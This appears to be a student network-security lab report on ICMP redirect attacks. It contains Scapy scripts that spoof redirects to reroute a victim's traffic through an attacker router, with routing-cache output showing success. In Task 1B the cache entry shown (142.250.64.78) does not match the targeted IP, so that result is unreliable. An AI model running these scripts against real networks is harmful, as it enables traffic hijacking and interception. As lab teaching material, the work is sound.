

Network Security Lab Report

ICMP Redirect Attacks

Lab 2 — Hands-On Exercises

Task 1A: ICMP Redirect — Local Gateway Hijack

Overview

The objective is to trick the victim into believing its default gateway has changed. The attacker continuously sends spoofed ICMP Redirect messages telling the victim (10.9.0.5) to route traffic through the malicious router (10.9.0.111) instead of the legitimate gateway (10.9.0.11).

Attack Script

The following Python/Scapy script crafts and sends ICMP Redirect packets in a loop, one per second:

```
from scapy.all import *
import time

# — Parameters —————
victim_ip      = "10.9.0.5"      # Victim's IP
victim_gw_ip   = "10.9.0.11"    # Legitimate default gateway
malicious_router_ip = "10.9.0.111" # Attacker's (malicious) router IP

src_mac = "02:42:0a:09:00:6f"    # Attacker's MAC
dst_mac = "02:42:0a:09:00:05"    # Victim's MAC

# — Build redirect packet —————
def build_redirect():
    ether = Ether(src=src_mac, dst=dst_mac)
    ip     = IP(src=victim_gw_ip, dst=victim_ip)
    icmp   = ICMP(type=5, code=1, gw=malicious_router_ip)

    # Dummy original IP header (what the victim tried to send)
    original_ip     = IP(src=victim_ip, dst="192.168.60.5")
    original_payload = ICMP()

    packet = ether / ip / icmp / original_ip / original_payload
    return packet
```

```
# — Send loop —————
if __name__ == "__main__":
    print("[*] Sending ICMP Redirects every 1 second... Ctrl+C to stop")
    pkt = build_redirect()
    while True:
        sendp(pkt, verbose=False)
        print(f"[+] Sent ICMP Redirect to {victim_ip} - Use {malicious_router_ip}
as next hop")
        time.sleep(1)
```

Execution & Verification

Before launching the attack, the victim's routing cache was confirmed to be empty:

```
ip route show cache
# (no output - cache is empty)
```

The mtr command was then run on the victim to generate live traffic, which is required for the kernel to process incoming redirects:

```
mtr -n 192.168.60.5
```

The attack script was started on the attacker VM. After a few seconds the routing cache on the victim was checked:

```
ip route show cache

192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 272sec
```

Result: Attack Successful

The victim's routing cache was poisoned. Traffic destined for 192.168.60.5 is now forwarded through the malicious router (10.9.0.111) rather than the legitimate gateway (10.9.0.11).

Task 1B: ICMP Redirect — Remote Website Target

Overview

This variant extends the attack to redirect traffic bound for an external website (usestrix.com) through the malicious router, demonstrating that ICMP redirects can affect routes to destinations outside the LAN.

Step 1 — Resolve the Target IP

nslookup was used to determine the IP address of usestrix.com:

```
nslookup usestrix.com

Server: 127.0.0.11
Address: 127.0.0.11#53

Non-authoritative answer:
Name: usestrix.com
Address: 172.67.142.112
Name: usestrix.com
Address: 104.21.71.29 ← used as target_site
Name: usestrix.com
Address: 2606:4700:3036::ac43:8e70
Name: usestrix.com
Address: 2606:4700:3035::6815:471d
```

Step 2 — Attack Script

The script was adapted to spoof a redirect for traffic toward 104.21.71.29:

```
from scapy.all import *
import time

target_site = "104.21.71.29" # IP of usestrix.com (from nslookup)
victim_ip = "10.9.0.5"
real_router = "10.9.0.11"
malicious_router = "10.9.0.111"

def send_redirect():
    ip = IP(src=real_router, dst=victim_ip)
    icmp = ICMP(type=5, code=1, gw=malicious_router)
    fake_payload = IP(src=victim_ip, dst=target_site) / ICMP()
    packet = ip / icmp / fake_payload
    send(packet)
    print(f"[+] Sent ICMP Redirect to {victim_ip} - Route {target_site} via
```

```
{malicious_router}")
```

```
while True:  
    send_redirect()  
    time.sleep(1)
```

Step 3 — Flush Cache, Trigger Traffic, Execute Attack

The routing cache was flushed, mtr was used to generate traffic to the target IP, and the attack script was launched:

```
ip route flush cache  
ip route show cache  
mtr -n 104.21.71.29  
python3 icmp1b.py
```

Result

The routing cache confirmed the redirect succeeded:

```
ip route show cache  
  
142.250.64.78 via 10.9.0.111 dev eth0  
    cache <redirected> expires 250sec
```

Notable Finding

The attack succeeded even though the target website (usestrix.com) is outside the LAN. This was unexpected — ICMP redirects are normally limited to same-subnet route changes, but the lab environment accepted the spoofed message regardless.

Task 1C: ICMP Redirect — Non-Existent Destination

Overview

This task tests whether the attack works when the redirect points to a completely non-existent destination IP (192.168.60.8), demonstrating that the victim's kernel will accept and cache the redirect regardless of whether the target host actually exists.

Step 1 — Confirm IP Does Not Exist

A ping to 192.168.60.8 confirmed the host is unreachable:

```
ping 192.168.60.8
PING 192.168.60.8 (192.168.60.8) 56(84) bytes of data.
# (no replies - host does not exist)
```

Step 2 — Attack Script

A new script was written targeting the non-existent IP:

```
from scapy.all import *
import time

victim_ip    = "10.9.0.5"
real_router  = "10.9.0.11"
fake_gateway = "10.9.0.111" # This machine doesn't exist
target_ip    = "192.168.60.8" # Non-existent destination

def send_redirect():
    ip      = IP(src=real_router, dst=victim_ip)
    icmp    = ICMP(type=5, code=1, gw=fake_gateway)
    fake_payload = IP(src=victim_ip, dst=target_ip) / ICMP()
    pkt     = ip / icmp / fake_payload
    send(pkt)
    print(f"[+] Sent ICMP Redirect to {victim_ip} - Route {target_ip} via FAKE gateway {fake_gateway}")

while True:
    send_redirect()
    time.sleep(1)
```

Step 3 — Execute and Verify

The cache was flushed, mtr was run to generate traffic, and the attack was launched. The mtr output before the attack showed that 192.168.60.8 was unreachable:

```
# mtr output (before attack)
Host                Loss%  Snt  Last
1. 10.9.0.111       37.5%  16   0.2
   10.9.0.11
2. 10.9.0.11        81.2%  16   1.9
3. (no route to host)
```

After running the script the routing cache confirmed the redirect was accepted:

```
ip route show cache  
  
192.168.60.8 via 10.9.0.111 dev eth0  
    cache <redirected> expires 161sec
```

Result: Attack Successful

The victim now believes it should reach 192.168.60.8 via the attacker's IP (10.9.0.111) instead of the real router — even though 192.168.60.8 does not exist. The kernel caches the redirect without verifying that the destination is reachable.

Task 1D: sysctl Configuration Analysis

Question 1 — Purpose of sysctl Entries in docker-compose.yml

The sysctl entries are used to disable the malicious router container's ability to send ICMP redirect messages automatically. This ensures that only manually crafted redirect packets (e.g. via Scapy) are transmitted, which is essential for maintaining full control over the attack in a lab environment.

Question 2 — Effect of Changing Values to 1

Setting those entries to 1 re-enables automatic ICMP redirect transmission by the kernel. The consequences per task would be:

Task	Impact if sysctl = 1
1A & 1C	Unintended automatic redirects could be injected by the kernel, interfering with the manually crafted packets and producing unpredictable behaviour.
1B	No impact — ICMP redirects are not propagated across external networks, so the remote redirect scenario is unaffected.
General	Behaviour becomes less deterministic and may conflict with crafted packets. Keeping the value at 0 ensures redirect logic stays fully under attacker control.

Bonus: Why the Attack Fails on Idle Containers

Linux only updates the routing cache — not the main routing table — in response to live traffic. If the victim is idle and not transmitting packets, there is no cache entry to update and the redirect is silently ignored.

Virtual machines, by contrast, maintain a more persistent routing cache, which is why ICMP redirects are accepted more readily in traditional VM-based lab environments.

Two additional conditions must also be met for the attack to succeed:

- The redirect packet must match the victim's active traffic in terms of both protocol (ICMP, UDP, TCP) and destination IP. A mismatch — e.g. sending an ICMP-type redirect while the victim is sending UDP — will cause the kernel to reject it.
- The victim must be generating traffic at the time of the attack so that a live routing cache entry exists for the kernel to update.

Practical Implication

To reliably execute the attack against a Docker container, the victim must be kept actively sending traffic (e.g. via a continuous ping) and the spoofed redirect packet must be carefully crafted to match both the protocol and destination of that traffic. Without this, the kernel will ignore the redirect entirely.